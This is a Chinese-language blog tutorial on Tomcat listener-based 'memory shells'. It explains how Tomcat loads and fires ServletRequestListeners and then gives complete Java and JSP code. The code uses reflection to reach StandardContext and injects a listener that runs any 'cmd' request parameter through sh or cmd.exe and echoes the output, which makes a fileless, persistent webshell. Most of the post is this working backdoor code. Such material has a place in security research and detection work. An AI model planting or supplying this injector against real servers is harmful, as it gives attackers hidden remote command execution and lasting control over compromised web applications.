Tomcat MemoryShell Of Listener

Preparation

在之前学习Filter内存马和Servlet内存马时不难看出,内存马的实现就是动态注册一个Filter/Servlet,然后在其中编写恶意类方法,即可起到无文件落地同时可以执行命令的目的。

Listener分为以下几种:

  • ServletContextListener,服务器启动和终止时触发;
  • HttpSessionListener,有关Session操作时触发;
  • ServletRequestListener,访问服务时触发。

其中,ServletRequestListener是最适合用来作为内存马的,因为ServletRequestListener是用来监听ServletRequest对 象的,当访问任意资源时,都会触发ServletRequestListener#requestInitialized方法。

Process Analysis

环境搭建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener()
public class HelloListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
String name = sre.getServletRequest().getClass().getName();
System.out.println(name);
System.out.println("Listener...");
}
}

跟进javax.servlet.ServletRequestEvent,该类可以通过getServletRequest方法来获取ServletRequest。

运行构建的Demo,可以看到,每次请求都会触发Listener,且getServletRequest方法获取到的ServletRequest是org.apache.catalina.connector.RequestFacade。并且在org.apache.catalina.connector.RequestFacade的属性中存在Request属性,可以通过反射来获取。可以看到在下面的示例代码中,成功获取到的请求中的reuqest属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package listener;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.lang.reflect.Field;

@WebListener()
public class HelloListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade request = (RequestFacade) sre.getServletRequest();
try {
Class<?> aClass = Class.forName("org.apache.catalina.connector.RequestFacade");
Field field = aClass.getDeclaredField("request");
field.setAccessible(true);
Request request1 = (Request) field.get(request);
System.out.println(request1);
} catch (Exception e) {
e.printStackTrace();
}
}
}

通过反射获取Request属性,获取其请求的参数用来执行命令,并利用其的Response将命令执行的结果回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package listener;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebListener()
public class HelloListener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade request = (RequestFacade) sre.getServletRequest();
String cmd = request.getParameter("cmd");
try {
Class<?> aClass = Class.forName("org.apache.catalina.connector.RequestFacade");
Field field = aClass.getDeclaredField("request");
field.setAccessible(true);
Request request1 = (Request) field.get(request);
Response response = request1.getResponse();

if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] command = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

上文分析了如何构造恶意的Listener,接着来看看如何动态注册上文构造的恶意的Listener。在之前分析Tomcat Architecture时,提到过在org.apache.catalina.core.StandardContext类的startInternal方法中,会分别调用listenerStart、filterStart和loadOnStartup来分别触发Listener、Filter、Servlet的构造加载。

跟进org.apache.catalina.core.StandardContext#listenerStart方法,该方法调用org.apache.catalina.core.StandardContext#findApplicationListeners方法来获取listeners数组,接着挨个从listeners数组取出并进行实例化,然后存入results数组中。

接着遍历results数组,根据不同类型的Listener,分别添加进eventListeners数组和lifecycleListeners数组。之后会调用org.apache.catalina.core.StandardContext#setApplicationEventListeners方法来清空applicationEventListenersList并重新赋值。而applicationEventListenersList中存放的正是之前实例化后的listener。

通过上文的分析中可以知道,org.apache.catalina.core.StandardContext#listenerStart方法会将Listener实例化后添加到applicationEventListenersList中,接着来看看如何触发实例化的Listener。

在Demo中的requestInitialized方法中下断点,看看在requestInitialized方法前实现了调用了一些什么方法。跟进org.apache.catalina.core.StandardContext#fireRequestInitEvent方法,该方法调用了org.apache.catalina.core.StandardContext#getApplicationEventListeners方法,而getApplicationEventListeners方法中返回的正是前面的applicationEventListenersList。接着遍历instances数组,并调用每个listener的requestInitialized方法。因此如果能够在applicationEventListenersList中添加构造的恶意的Listener,则能调用到构造的恶意Listener。

Achievement

Idea

动态注入Listener内存马的具体思路如下:

  • 继承并编写一个恶意Listener;
  • 获取StandardContext;
  • 调用StandardContext#addApplicationEventListener添加恶意Listener。

Dynamic Registration

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package servlet;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet(name = "ListenerMemoryShellServlet", value = "/ListenerMemoryShellServlet")
public class ListenerMemoryShellServlet extends HelloServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
super.doGet(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
try {
String cmd = request.getParameter("cmd");
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardContext.addApplicationEventListener(listener);
} catch (Exception e) {
e.printStackTrace();
}
}
}

JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
try {
String cmd = request.getParameter("cmd");
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardContext.addApplicationEventListener(listener);
response.getWriter().write("Listener Inject Successfully...");
%>